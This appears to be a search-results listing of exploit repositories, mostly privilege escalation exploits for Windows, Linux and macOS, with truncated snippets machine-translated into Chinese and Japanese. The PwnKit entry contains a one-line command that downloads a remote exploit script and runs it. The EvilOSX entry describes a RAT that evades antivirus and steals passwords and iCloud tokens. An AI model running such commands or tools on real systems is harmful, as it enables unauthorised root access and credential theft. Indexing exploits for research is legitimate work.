235798 matches found
EUVD-2026-92042
Authorization Bypass Through User-Controlled Key vulnerability in Ultimate Member Ultimate Member ultimate-member allows Privilege Escalation.This issue affects Ultimate Member: from n/a through 2.13.1...
CVE-2021-40449
CVE-2021-40449 我对 CVE-2021-40449 的漏洞利用，这是一个通过 win32kfull!GreResetDCInternal 中的 UAF 实现的 Windows 本地权限提升漏洞。 简短说明 除了 UAF 漏洞之外，还使用了其他原语来实现此漏洞利用： 通过 NtQuerySystemInformation 函数配合 SystemHandleInformation 参数，在 ring0 泄漏漏洞利用进程的 access token 地址。 使用 rtlSetAllBits 作为 gadget，将漏洞利用进程的 accesstoken.privileges 覆盖为...
CVE-2021-21551
利用CVE-2021-21551通过创建系统命令行进行本地权限提升 已在Windows 11 21H2 22000.1335上测试。...
lpe-toolkit
Linux LPE 工具包 多架构权限提升工具包，包含 24 个漏洞利用（amd64 预编译；其他架构在运行时通过 gcc 编译）。支持 amd64、arm64、386、mips、mipsle、mips64 和 mips64le。检测内核版本，过滤已修补的漏洞利用，并按顺序依次尝试，直到获得 root 权限。 快速开始 run directly no gcc needed on target if pre-compiled binaries are embedded ./lpe-toolkit dry-run: show exploit plan without executing...
StackRot
StackRot CVE-2023-3269: Linux 内核权限提升漏洞 GitHub-CI-verified exploit 在 Linux 内核 6.1 至 6.4 版本的堆栈扩展处理中发现了一个漏洞，俗称“Stack Rot”。负责管理虚拟内存区域的 maple 树在节点替换时未能正确获取 MM 写锁，从而导致释放后使用（use-after-free）问题。低权限的本地用户可利用此漏洞危害内核并提升权限。 由于 StackRot 是内存管理子系统中的 Linux 内核漏洞，它几乎影响所有内核配置，且触发所需权限极低。但需要注意的是，maple 节点通过 RCU...
CVE-2017-5123
CVE-2017-5123 利用 waitid 系统调用进行 Linux 权限提升。该漏洞利用由 @XeR0x2A 和 @chaignc 出自 HexpressoTeam，仅供教育用途。该 bug 于 2017-05-21 引入，于 2017-10-09 修复，已知 4.14.0-rc4+ 存在漏洞。 asciicast 如果你处于初学者/中级漏洞利用编写水平，我们鼓励你在阅读我们的实现之前，自己尝试利用该漏洞。这是一个非常好的练习，具有简单的漏洞利用原语（对可写内核内存的任意写入）。我们同时向 @LiveOverflow 发起挑战，请他也来试一试。 以下是描述： oss-securit...
ipfire-2-25-auth-rce
Ipfire 2-25（核心更新 156）经过身份验证的远程代码执行 安装任意软件包时系统会运行命令 系统仅从 HTML 中获取 7zip 并检查 tmp 目录 版本 2.25 - 核心更新 156 ipfire 允许登录后以 nobody 身份运行任意操作系统命令 获取 root 权限！ 检查 suid 二进制文件 backup 程序会运行另一个脚本。/var/ipfire/backup/bin/backup.pl（它是一个 bash 脚本，权限看起来不错） 尝试写入 bash 脚本。（没有错误。很好！） 尝试运行 bash...
CVE-2021-3156
CVE-2021-3156 sudo堆溢出实现本地权限提升，Go语言版 基于 blasty的漏洞利用...
PwnKit
PwnKit 针对 CVE-2021-4034 的自包含漏洞利用程序 - Pkexec 本地权限提升 用法 在基于 Ubuntu、Debian、Fedora 和 CentOS 的易受攻击 Linux 发行版上应可开箱即用。 sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" 手动运行 curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit chmod +x ./PwnKit...
CVE-2024-48217
CVE-2024-48217 Sismart 漏洞 CVE 分配： CVE-2024-48217 mitre.org nvd.nist.org tenable.com 日期： 2024 年 9 月 5 日 作者： Ajriel Rizqy Maulana 软件链接： SiSMART Aplikasi Pintar Penunjang Proses Pendidikan - 7.4.0 SiSMART Aplikasi Pintar Penunjang Proses Pendidikan API 版本： 7.4.0 漏洞： IDOR - 会话存储中的不安全直接对象引用 IDOR...
CVE-2023-34039
CVE-2023-34039 CVE-2023-34039 の PoC - VMWare Aria Operations for Networks vRealize Network Insight 静的 SSH キー RCE 技術的分析 脆弱性の根本原因分析は私のブログでご覧いただけます： https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-34039/ 概要 VMWare Aria Operations for Networks vRealize Network Insight バージョン 6...
LPE---CVE-2020-0796
用法： 确保已安装 Python，然后运行 poc.py。 Windows 内核 Write-What-Where CVE-2020-0796 漏洞利用 仅供企业环境中的教育和测试使用。 MasterSpl0it 不对该代码承担任何责任，使用风险自负。 重写的 CVE-2020-0796 本地权限提升 PoC。 基于 Alexandre Beaulieu 的工作： https://gist.github.com/alxbl/2fb9a0583c5b88db2b4d1a7f2ca5cdda 如果您对 0Day 漏洞利用感兴趣，请联系 [email protected]。...
ROOT-CVE-2021-3560
ROOT-CVE-2021-3560 Polkit 0.105-26 0.117-2 - 本地权限提升...
noPac
noPac CVE-2021-42287/CVE-2021-42278 Scanner & Exploiter. もう一つの低労力なドメインユーザーからドメイン管理者へのエクスプロイト。 ドメインコントローラーが脆弱な場合、PACなしのTGTが返されます。小さなサイズのチケットに注目してください。 対策 ドメインコントローラーにパッチを適用しましょう！ クレジット Charlie Clark（Rubeusフォークの提供）と、Kevin Robertson（SharpMadの提供）に感謝します。...
CVE-2024-11467
CVE-2024-11467 macOS 操作系统使用 XPC 服务实现各种进程之间的基本进程间通信，例如 XPC Service 守护进程与第三方应用程序的特权辅助工具之间的通信。VMware Horizon Client 在安装时会在 /Library/PrivilegedHelperTools/ 目录下注册 com.vmware.horizon.CDSHelper 特权辅助工具。 还应注意，特权辅助工具使用 mach 名称 com.vmware.horizon.CDSHelper 来监听传入的 XPC 连接，如上所示。 随后使用默认的 macOS...
Change-Lockscreen
Change-Lockscreen Change-Lockscreen 是一款通过命令行更改 Windows 锁屏图像，以 SYSTEM 身份触发网络身份验证，从而执行权限提升攻击的工具，例如下面链接文章中所描述的攻击方式： https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation 功能 默认情况下，Windows 10 具有一项名为 Windows Spotligh...
Poison-HTB-Report
Poison-HTB-レポート HTB 'Poison' での特権昇格 - PwnKit CVE-2021-4034 を使用 HTB 'Poison' - 特権昇格レポート BugVex このリポジトリは、Hack The Box マシン Poison に関する完全な脆弱性レポートです。 🔍 エクスプロイト概要 CVE: CVE-2021-4034 PwnKit テクニック: 環境変数操作による特権昇格 影響: 非特権ユーザーからのルートシェル 使用ツール: Nmap, Gobuster, LinPEAS, GCC, Burp Suite, GDB 🧠 メモ...
EvilOSX
EvilOSX macOS / OS X 用の邪悪なRAT（リモート管理ツール） Marco Generator by Cedric Owens このプロジェクトは現在アクティブではありません 機能 ターミナルインスタンスのエミュレート シンプルで拡張可能なモジュールシステム ボットの依存関係なし（純粋なPython） アンチウイルスに検出されない（OpenSSL AES-256 暗号化ペイロード） 永続的 GUIおよびCLIのサポート Chromeのパスワードを取得 iCloudトークンと連絡先を取得 クリップボードの取得/監視 ブラウザ履歴の取得（ChromeとSafari）...
CVE-2020-1337
CVE-2020-1337 CVE-2020-1337 是通过符号链接（Junction Directory）绕过 PrintDemon CVE-2020-1048 补丁的一种方式，该补丁旨在修复影响 Windows 打印后台处理程序服务的权限提升 EoP\本地权限提升 LPE 漏洞。 该漏洞需要低权限访问，并且需要打印后台处理程序服务重启。 该补丁出现在微软 2020 年 8 月 11 日的补丁星期二中 - https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-1337ID0EWIAC。...